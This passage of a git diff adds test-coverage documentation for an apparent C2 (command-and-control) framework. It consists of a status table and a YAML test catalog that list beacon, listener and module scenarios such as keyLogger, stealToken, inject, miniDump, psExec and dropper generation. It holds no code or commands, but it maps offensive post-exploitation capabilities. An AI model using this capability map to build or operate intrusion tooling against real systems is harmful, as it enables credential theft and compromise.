untested | untested | +| untested | auto | critical | `C2CLIENT-RPC-BINDINGS-001` | C2Client | Protocol bindings | client | n/a | n/a | n/a | untested | n/a | +| untested | auto+manual | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | client | n/a | any | n/a | untested | untested | +| untested | auto+manual | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | client | n/a | https | n/a | untested | untested | +| untested | auto+manual | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | client | n/a | https | hosted | untested | untested | +| untested | auto+manual | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | client | n/a | n/a | n/a | untested | untested | +| untested | auto+manual | high | `COMMON-END-001` | CommonCommands | end | any | any | any | n/a | untested | untested | +| untested | auto+manual | critical | `COMMON-HELP-001` | CommonCommands | help | any | any | any | command_specs | untested | untested | +| untested | auto+manual | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | any | any | any | modules | untested | untested | +| untested | auto+manual | high | `COMMON-LISTENER-001` | CommonCommands | listener | any | any | any | n/a | untested | untested | +| untested | auto+manual | critical | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | any | any | any | modules | untested | untested | +| untested | auto+manual | high | `COMMON-SLEEP-001` | CommonCommands | sleep | any | any | any | n/a | untested | untested | +| untested | auto+manual | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | any | any | any | modules | untested | untested | +| untested | auto+manual | medium | `LISTENER-DNS-001` | Listeners | DNS listener | any | any | dns | n/a | untested | untested | +| untested | auto+manual | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | any | any | github | n/a | untested | untested | +| untested | manual | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | any | any | http | n/a | n/a | untested | +| untested | auto+manual | critical | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | any | any | https | hosted | untested | untested | +| untested | auto+manual | high | `LISTENER-SMB-001` | Listeners | SMB listener | windows | any | smb | n/a | untested | untested | +| untested | auto+manual | high | `LISTENER-TCP-001` | Listeners | TCP listener | any | any | tcp | n/a | untested | untested | +| untested | auto | critical | `MODULE-COMMANDSPEC-COVERAGE-001` | Modules | CommandSpec coverage | teamserver | n/a | n/a | command_specs | untested | n/a | +| untested | auto+manual | high | `MODULE-SIMPLE-FILESYSTEM-001` | Modules | Simple filesystem modules | any | any | https | any | untested | untested | +| untested | auto+manual | high | `MODULE-SIMPLE-SYSTEM-001` | Modules | Simple system info/process modules | any | any | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-WINDOWS-ADMIN-001` | Modules | Windows admin modules | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | windows | x64 | https | generated | untested | untested | +| untested | auto+manual | medium | `MODULE-CAT-CONTRACT-001` | Modules | cat | any | any | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-CD-CONTRACT-001` | Modules | cd | any | any | https | n/a | untested | untested | +| untested | auto+manual | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | windows | x64 | https | tools | untested | untested | +| untested | auto+manual | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | windows | x64 | https | tools | untested | untested | +| untested | auto+manual | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | high | `MODULE-DOTNETEXEC-CONTRACT-001` | Modules | dotnetExec | windows | x64 | https | tools | untested | untested | +| untested | auto+manual | critical | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | any | any | https | generated | untested | untested | +| untested | auto+manual | medium | `MODULE-ENUMERATERDPSESSIONS-CONTRACT-001` | Modules | enumerateRdpSessions | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-ENUMERATESHARES-CONTRACT-001` | Modules | enumerateShares | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-EVASION-CONTRACT-001` | Modules | evasion | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-GETENV-CONTRACT-001` | Modules | getEnv | any | any | https | n/a | untested | untested | +| untested | auto+manual | critical | `MODULE-INJECT-CONTRACT-001` | Modules | inject | windows | x64 | https | generated | untested | untested | +| untested | auto+manual | medium | `MODULE-IPCONFIG-CONTRACT-001` | Modules | ipConfig | any | any | https | n/a | untested | untested | +| untested | auto+manual | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | windows | x64 | https | uploaded | untested | untested | +| untested | auto+manual | medium | `MODULE-KEYLOGGER-CONTRACT-001` | Modules | keyLogger | windows | x64 | https | generated | untested | untested | +| planned | planned | medium | `MODULE-KEYLOGGER-GENERATED-ARTIFACT-002` | Modules | keyLogger generated artifact | windows | x64 | https | generated | n/a | n/a | +| untested | auto+manual | medium | `MODULE-KILLPROCESS-CONTRACT-001` | Modules | killProcess | any | any | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-LS-CONTRACT-001` | Modules | ls | any | any | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-MAKETOKEN-CONTRACT-001` | Modules | makeToken | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | windows | x64 | https | generated | untested | untested | +| untested | auto+manual | medium | `MODULE-MKDIR-CONTRACT-001` | Modules | mkDir | any | any | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-NETSTAT-CONTRACT-001` | Modules | netstat | any | any | https | n/a | untested | untested | +| untested | auto+manual | critical | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | windows | x64 | https | scripts | untested | untested | +| untested | auto+manual | medium | `MODULE-PS-CONTRACT-001` | Modules | ps | any | any | https | n/a | untested | untested | +| untested | auto+manual | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | windows | x64 | https | tools | untested | untested | +| untested | auto+manual | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | windows | x64 | https | tools | untested | untested | +| untested | auto+manual | medium | `MODULE-PWD-CONTRACT-001` | Modules | pwd | any | any | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-REGISTRY-CONTRACT-001` | Modules | registry | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-REMOVE-CONTRACT-001` | Modules | remove | any | any | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-REV2SELF-CONTRACT-001` | Modules | rev2self | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | any | any | https | n/a | untested | untested | +| untested | auto+manual | high | `MODULE-RUN-CONTRACT-001` | Modules | run | any | any | https | n/a | untested | untested | +| untested | auto+manual | high | `MODULE-SCREENSHOT-CONTRACT-001` | Modules | screenShot | windows | x64 | https | generated | untested | untested | +| untested | auto+manual | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | any | any | https | scripts | untested | untested | +| untested | auto+manual | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | any | any | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-SPAWNAS-CONTRACT-001` | Modules | spawnAs | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | any | any | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-STEALTOKEN-CONTRACT-001` | Modules | stealToken | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-TASKSCHEDULER-CONTRACT-001` | Modules | taskScheduler | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-TREE-CONTRACT-001` | Modules | tree | any | any | https | n/a | untested | untested | +| untested | auto+manual | critical | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | any | any | https | uploaded | untested | untested | +| untested | auto+manual | medium | `MODULE-WHOAMI-CONTRACT-001` | Modules | whoami | any | any | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | windows | x64 | https | n/a | untested | untested | +| untested | auto+manual | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | windows | x64 | https | n/a | untested | untested | +| untested | manual | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | linux | any | n/a | any | n/a | untested | +| untested | manual | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | windows | any | n/a | any | n/a | untested | +| untested | auto+manual | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | teamserver | any | n/a | any | untested | untested | +| untested | auto | critical | `TEAMSERVER-COMMAND-CATALOG-001` | TeamServer | Command catalog | teamserver | n/a | n/a | command_specs | untested | n/a | +| untested | auto | critical | `TEAMSERVER-COMMAND-PREPARATION-001` | TeamServer | Command preparation | teamserver | any | any | any | untested | n/a | +| untested | auto+manual | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | teamserver | any | any | generated | untested | untested | +| untested | auto | critical | `TEAMSERVER-GENERATED-ARTIFACTS-001` | TeamServer | Generated artifact store | teamserver | any | n/a | generated | untested | n/a | +| untested | auto+manual | high | `TEAMSERVER-HOSTED-ARTIFACTS-001` | TeamServer | Hosted artifacts | teamserver | n/a | https | hosted | untested | untested | +| untested | auto+manual | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | teamserver | any | any | beacons | untested | untested | +| untested | auto+manual | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | teamserver | any | any | n/a | untested | untested | +| untested | auto+manual | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | teamserver | any | n/a | any | untested | untested | +| untested | auto+manual | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | teamserver | n/a | any | n/a | untested | untested | +| untested | auto+manual | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | teamserver | x64 | n/a | generated | untested | untested | +| untested | auto+manual | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | teamserver | n/a | https | n/a | untested | untested | +| untested | auto+manual | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | any | any | any | any | untested | untested | +| untested | manual | critical | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | linux | x64 | https | any | n/a | untested | +| untested | manual | critical | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | windows | x64 | https | any | n/a | untested | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md new file mode 100644 index 0000000..63ad01c --- /dev/null +++ b/docs/TEST_STATE.md @@ -0,0 +1,84 @@ +# Test State + +_Generated by `scripts/generate-test-state.py`._ + +- Catalog entries: `113` +- Auto results: `build/test-results/auto-results.json` +- Manual results: `docs/testing/manual-results.yaml` + +## Final Status + +| Status | Count | +|---|---:| +| pass | 0 | +| fail | 0 | +| blocked | 0 | +| partial | 0 | +| untested | 111 | +| planned | 2 | + +## Validation Modes + +| Mode | Count | +|---|---:| +| auto | 6 | +| manual | 5 | +| auto+manual | 100 | +| planned | 2 | + +## By Area + +| Area | Pass | Fail | Blocked | Partial | Untested | Planned | Total | +|---|---:|---:|---:|---:|---:|---:|---:| +| Artifacts | 0 | 0 | 0 | 0 | 5 | 0 | 5 | +| Beacon | 0 | 0 | 0 | 0 | 5 | 0 | 5 | +| C2Client | 0 | 0 | 0 | 0 | 20 | 1 | 21 | +| CommonCommands | 0 | 0 | 0 | 0 | 7 | 0 | 7 | +| Listeners | 0 | 0 | 0 | 0 | 6 | 0 | 6 | +| Modules | 0 | 0 | 0 | 0 | 51 | 1 | 52 | +| Release | 0 | 0 | 0 | 0 | 2 | 0 | 2 | +| TeamServer | 0 | 0 | 0 | 0 | 12 | 0 | 12 | +| Validation | 0 | 0 | 0 | 0 | 3 | 0 | 3 | + +## Critical Non-Pass + +| Final | ID | Area | Feature | Auto | Manual | +|---|---|---|---|---|---| +| untested | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | untested | untested | +| untested | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | untested | untested | +| untested | `ARTIFACT-TOOLS-001` | Artifacts | Tools | untested | untested | +| untested | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | untested | untested | +| untested | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | untested | untested | +| untested | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | untested | untested | +| untested | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | untested | untested | +| untested | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | untested | untested | +| untested | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | untested | untested | +| untested | `C2CLIENT-CONFIG-ENV-001` | C2Client | Config loading | untested | n/a | +| untested | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | untested | untested | +| untested | `C2CLIENT-RPC-BINDINGS-001` | C2Client | Protocol bindings | untested | n/a | +| untested | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | untested | untested | +| untested | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | untested | untested | +| untested | `COMMON-HELP-001` | CommonCommands | help | untested | untested | +| untested | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | untested | untested | +| untested | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | untested | untested | +| untested | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | untested | untested | +| untested | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | untested | untested | +| untested | `MODULE-COMMANDSPEC-COVERAGE-001` | Modules | CommandSpec coverage | untested | n/a | +| untested | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | untested | untested | +| untested | `MODULE-INJECT-CONTRACT-001` | Modules | inject | untested | untested | +| untested | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | untested | untested | +| untested | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | untested | untested | +| untested | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | untested | untested | +| untested | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | n/a | untested | +| untested | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | n/a | untested | +| untested | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | untested | untested | +| untested | `TEAMSERVER-COMMAND-CATALOG-001` | TeamServer | Command catalog | untested | n/a | +| untested | `TEAMSERVER-COMMAND-PREPARATION-001` | TeamServer | Command preparation | untested | n/a | +| untested | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | untested | untested | +| untested | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | untested | untested | +| untested | `TEAMSERVER-GENERATED-ARTIFACTS-001` | TeamServer | Generated artifact store | untested | n/a | +| untested | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | untested | untested | +| untested | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | untested | untested | +| untested | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | untested | untested | +| untested | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | n/a | untested | +| untested | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | n/a | untested | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml new file mode 100644 index 0000000..072ed1d --- /dev/null +++ b/docs/testing/manual-results.yaml @@ -0,0 +1,19 @@ +schema_version: 1 +updated_at: "2026-05-07" +description: > + Manual validation results for scenarios defined in test-catalog.yaml. Keep + this file result-only: every result id must already exist in the catalog. + +allowed_statuses: [pass, fail, blocked, untested] + +# Example: +# results: +# - id: VALIDATION-GOLDEN-PATH-WINDOWS-001 +# status: pass +# date: "2026-05-07" +# build: "local-release" +# tester: "max" +# evidence: "Windows x64 HTTPS beacon connected, ran pwd/ls/download/screenShot, hosted artifact fetched." +# notes: "Lab VM: WIN11-x64." + +results: [] diff --git a/docs/testing/test-catalog.yaml b/docs/testing/test-catalog.yaml new file mode 100644 index 0000000..cc7adcf --- /dev/null +++ b/docs/testing/test-catalog.yaml @@ -0,0 +1,1283 @@ +schema_version: 1 +catalog_version: "2026-05-07" +description: > + Source of truth for C2TeamServer validation coverage. This catalog describes + what must be tested; it does not store pass/fail results. Automated and manual + runners should report results by stable id. + +status_model: + auto_result: [pass, fail, blocked, untested] + manual_result: [pass, fail, blocked, untested] + final_result: + pass: "all required auto/manual validations passed" + fail: "at least one required validation failed" + partial: "some required validation is still untested" + blocked: "validation cannot run because a dependency is missing" + untested: "no validation result exists yet" + planned: "known required coverage with no stable validation yet" + +validation_modes: + auto: "validated by automated tests only" + manual: "validated by a predetermined manual procedure only" + auto+manual: "requires both automated tests and a real lab/manual validation" + planned: "known required coverage with no stable validation yet" + +axes: + os: [any, windows, linux, teamserver, client] + arch: [any, x64, x86, arm64, n/a] + listener: [n/a, https, http, tcp, smb, dns, github, any] + artifact_category: + - n/a + - command_specs + - tools + - scripts + - uploaded + - generated + - hosted + - beacons + - modules + - any + +entries: + - id: C2CLIENT-CONFIG-ENV-001 + area: C2Client + feature: Config loading + scenario: "Load .env values and environment overrides with documented precedence." + priority: critical + validation: auto + axes: {os: client, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_env_loading.py"] + manual: [] + + - id: C2CLIENT-CONFIG-CERT-001 + area: C2Client + feature: TLS certificate config + scenario: "Use C2_CERT_PATH when set and report a clear error when the certificate is missing." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: https, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_env_loading.py", "C2Client/tests/test_grpc_client.py"] + manual: ["Start C2Client with C2_CERT_PATH pointing to the release TeamServer certificate."] + + - id: C2CLIENT-STARTUP-GUI-001 + area: C2Client + feature: GUI startup + scenario: "Start python3 -m C2Client.GUI without crashing and create non-closable core tabs." + priority: critical + validation: auto+manual + axes: {os: client, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_gui_startup.py"] + manual: ["Run python3 -m C2Client.GUI and verify Terminal, AI, Hooks, and Artifacts tabs are present."] + + - id: C2CLIENT-RPC-BINDINGS-001 + area: C2Client + feature: Protocol bindings + scenario: "Expose TeamServer RPC fields used by sessions, listeners, artifacts, commands, and hooks." + priority: critical + validation: auto + axes: {os: client, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_protocol_bindings.py", "C2Client/tests/test_grpc_client.py"] + manual: [] + + - id: C2CLIENT-SESSION-PANEL-001 + area: C2Client + feature: Sessions panel + scenario: "Render sessions table with stable column sizing, readable IPs, last seen, state, OS tooltip, and module count context." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: any, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_session_panel.py", "C2Client/tests/test_ui_status.py"] + manual: ["Connect at least one Windows and one Linux beacon and inspect session row readability while resizing."] + + - id: C2CLIENT-LISTENER-PANEL-001 + area: C2Client + feature: Listener panel + scenario: "Render listeners table, restrict form fields, and preserve column sizing during refresh." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: any, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_listener_panel.py"] + manual: ["Create/list/stop an HTTPS listener and verify form validation for host and port."] + + - id: C2CLIENT-GRAPH-PANEL-001 + area: C2Client + feature: Graph panel + scenario: "Render separated nodes by default, zoom in/out controls, and no redundant title frame." + priority: medium + validation: auto+manual + axes: {os: client, arch: n/a, listener: any, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_graph_panel.py"] + manual: ["Open Graph with multiple sessions/listeners and verify nodes are not stacked."] + + - id: C2CLIENT-CONSOLE-FORMATTING-001 + area: C2Client + feature: Console formatting + scenario: "Use unified timestamp, marker, and body colors with no duplicated queued/done/result lines." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: any, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_console_panel.py"] + manual: ["Run pwd and ls on a beacon and verify one queued line and one done line with output."] + + - id: C2CLIENT-CONSOLE-AUTOCOMPLETE-001 + area: C2Client + feature: Beacon console autocomplete + scenario: "Build autocomplete from CommandSpec, artifact catalog, sessions, listeners, and loaded module state." + priority: critical + validation: auto+manual + axes: {os: client, arch: n/a, listener: any, artifact_category: command_specs} + evidence: + auto: ["C2Client/tests/test_console_panel.py", "C2Client/tests/assistant_agent/test_command_builder.py"] + manual: ["Press Tab on assemblyExec, inject, dotnetExec, download, upload, and loadModule commands."] + + - id: C2CLIENT-CONSOLE-HELP-001 + area: C2Client + feature: Beacon command help + scenario: "Render help from TeamServer CommandSpec without legacy << or >> markers." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: any, artifact_category: command_specs} + evidence: + auto: ["C2Client/tests/test_console_panel.py", "teamServer/tests/TeamServerHelpServiceTests.cpp"] + manual: ["Run help and help assemblyExec in a beacon console."] + + - id: C2CLIENT-TERMINAL-BASE-001 + area: C2Client + feature: Terminal tab + scenario: "Show base help text, command history, unified colors, and terminal autocomplete." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_terminal_panel_dropper_arch.py", "C2Client/tests/test_console_panel.py"] + manual: ["Open Terminal, press Tab, run help, and verify formatting/newlines."] + + - id: C2CLIENT-TERMINAL-HOST-001 + area: C2Client + feature: Terminal host command + scenario: "Host an artifact reference through GeneratedArtifacts/hosted instead of arbitrary legacy file paths." + priority: critical + validation: auto+manual + axes: {os: client, arch: n/a, listener: https, artifact_category: hosted} + evidence: + auto: ["C2Client/tests/test_terminal_panel_dropper_arch.py", "teamServer/tests/TeamServerTermLocalServiceTests.cpp"] + manual: ["Run host and fetch the returned URL."] + + - id: C2CLIENT-TERMINAL-DROPPER-001 + area: C2Client + feature: Dropper + scenario: "Generate and host droppers with selected beacon arch and shellcode generator." + priority: high + validation: auto+manual + axes: {os: client, arch: x64, listener: https, artifact_category: hosted} + evidence: + auto: ["C2Client/tests/test_terminal_panel_dropper_arch.py"] + manual: ["Generate an HTTPS Windows x64 dropper and verify it appears as a hosted artifact."] + + - id: C2CLIENT-TERMINAL-CREDENTIALS-001 + area: C2Client + feature: Credential store terminal commands + scenario: "Add, list, and retrieve credentials through terminal commands." + priority: medium + validation: planned + axes: {os: client, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["teamServer/tests/TeamServerTermLocalServiceTests.cpp"] + manual: ["Use credential add/list/get once the server-side credential store is stabilized."] + + - id: C2CLIENT-ARTIFACTS-LIST-001 + area: C2Client + feature: Artifacts tab + scenario: "List CommandSpecs, Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted artifacts, beacons, and modules with category filters." + priority: critical + validation: auto+manual + axes: {os: client, arch: n/a, listener: n/a, artifact_category: any} + evidence: + auto: ["C2Client/tests/test_artifact_panel.py", "teamServer/tests/TeamServerArtifactCatalogTests.cpp"] + manual: ["Open Artifacts tab after a clean release build and verify each expected category."] + + - id: C2CLIENT-ARTIFACTS-UPLOAD-001 + area: C2Client + feature: Artifact upload + scenario: "Upload operator files into UploadedArtifacts with selected platform and arch." + priority: high + validation: auto+manual + axes: {os: client, arch: any, listener: n/a, artifact_category: uploaded} + evidence: + auto: ["C2Client/tests/test_artifact_panel.py", "teamServer/tests/TeamServerArtifactCatalogTests.cpp"] + manual: ["Upload a file from the Artifacts tab and verify it is usable by upload/kerberosUseTicket/psExec."] + + - id: C2CLIENT-ARTIFACTS-DOWNLOAD-001 + area: C2Client + feature: Artifact download + scenario: "Download selected artifacts from TeamServer to the client filesystem." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: n/a, artifact_category: generated} + evidence: + auto: ["C2Client/tests/test_artifact_panel.py"] + manual: ["Download a generated artifact from Artifacts tab and verify file hash/size."] + + - id: C2CLIENT-ARTIFACTS-DELETE-001 + area: C2Client + feature: Artifact delete + scenario: "Delete generated and hosted artifacts using artifact IDs, not legacy terminal paths." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: n/a, artifact_category: generated} + evidence: + auto: ["C2Client/tests/test_artifact_panel.py"] + manual: ["Delete a generated screenshot and a hosted artifact from Artifacts tab."] + + - id: C2CLIENT-HOOKS-PANEL-001 + area: C2Client + feature: Hooks panel + scenario: "List hooks with descriptions/tooltips, activation counts, and manual start using context snapshot." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: any, artifact_category: scripts} + evidence: + auto: ["C2Client/tests/test_script_panel.py"] + manual: ["Run a ManualStart hook and verify it receives beacon/listener snapshot context."] + + - id: C2CLIENT-AI-PANEL-001 + area: C2Client + feature: Data AI panel + scenario: "Render system/user/assistant markers with distinct colors and line breaks." + priority: medium + validation: auto+manual + axes: {os: client, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_assistant_panel.py", "C2Client/tests/assistant_agent/test_service_bootstrap.py"] + manual: ["Open Data AI tab and verify marker colors and multiline output readability."] + + - id: C2CLIENT-MAIN-THEME-001 + area: C2Client + feature: Main layout theme + scenario: "Use consistent dark background across main layout, sessions, listeners, graph, consoles, and hooks." + priority: medium + validation: auto+manual + axes: {os: client, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_ui_status.py"] + manual: ["Resize the main window and inspect for stray light rectangles or unthemed panels."] + + - id: TEAMSERVER-CONFIG-DIRECTORIES-001 + area: TeamServer + feature: Runtime directory layout + scenario: "Resolve release data layout for Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted, Beacons, Modules, and CommandSpecs." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: any} + evidence: + auto: ["teamServer/tests/TeamServerArtifactCatalogTests.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Inspect build/artifacts/Release/data after a clean build and download scripts."] + + - id: TEAMSERVER-STARTUP-TLS-001 + area: TeamServer + feature: Startup and TLS + scenario: "Start TeamServer with generated certificate, client auth, and readable config errors." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: n/a, listener: https, artifact_category: n/a} + evidence: + auto: ["teamServer/tests/testsTestServer.cpp"] + manual: ["Start Release TeamServer and connect C2Client over TLS."] + + - id: TEAMSERVER-COMMAND-CATALOG-001 + area: TeamServer + feature: Command catalog + scenario: "List CommandSpecs from core modules and common commands with help and argument metadata." + priority: critical + validation: auto + axes: {os: teamserver, arch: n/a, listener: n/a, artifact_category: command_specs} + evidence: + auto: ["teamServer/tests/TeamServerCommandCatalogTests.cpp", "teamServer/tests/TeamServerHelpServiceTests.cpp"] + manual: [] + + - id: TEAMSERVER-COMMAND-PREPARATION-001 + area: TeamServer + feature: Command preparation + scenario: "Prepare common commands, module commands, artifact-backed commands, shellcode-backed commands, and rejected commands." + priority: critical + validation: auto + axes: {os: teamserver, arch: any, listener: any, artifact_category: any} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: [] + + - id: TEAMSERVER-ARTIFACT-CATALOG-001 + area: TeamServer + feature: Artifact catalog + scenario: "List, filter, upload, delete, and resolve artifacts by category/platform/arch/runtime/source." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: any} + evidence: + auto: ["teamServer/tests/TeamServerArtifactCatalogTests.cpp"] + manual: ["Use C2Client Artifacts tab to filter and delete uploaded/generated/hosted artifacts."] + + - id: TEAMSERVER-GENERATED-ARTIFACTS-001 + area: TeamServer + feature: Generated artifact store + scenario: "Register generated artifacts with sidecars, hash, size, source, format, and category." + priority: critical + validation: auto + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: generated} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "teamServer/tests/TeamServerArtifactCatalogTests.cpp"] + manual: [] + + - id: TEAMSERVER-HOSTED-ARTIFACTS-001 + area: TeamServer + feature: Hosted artifacts + scenario: "Host artifacts under GeneratedArtifacts/hosted and list/delete them through artifact services." + priority: high + validation: auto+manual + axes: {os: teamserver, arch: n/a, listener: https, artifact_category: hosted} + evidence: + auto: ["teamServer/tests/TeamServerTermLocalServiceTests.cpp", "teamServer/tests/TeamServerArtifactCatalogTests.cpp"] + manual: ["Host an artifact, fetch its URL, then delete it from Artifacts tab."] + + - id: TEAMSERVER-FILE-TRANSFER-001 + area: TeamServer + feature: File transfer service + scenario: "Prepare upload/download paths, write chunked command results, and keep command context until final success." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: any, listener: any, artifact_category: generated} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] + manual: ["Run download and screenShot from a real beacon and verify a single final console result."] + + - id: 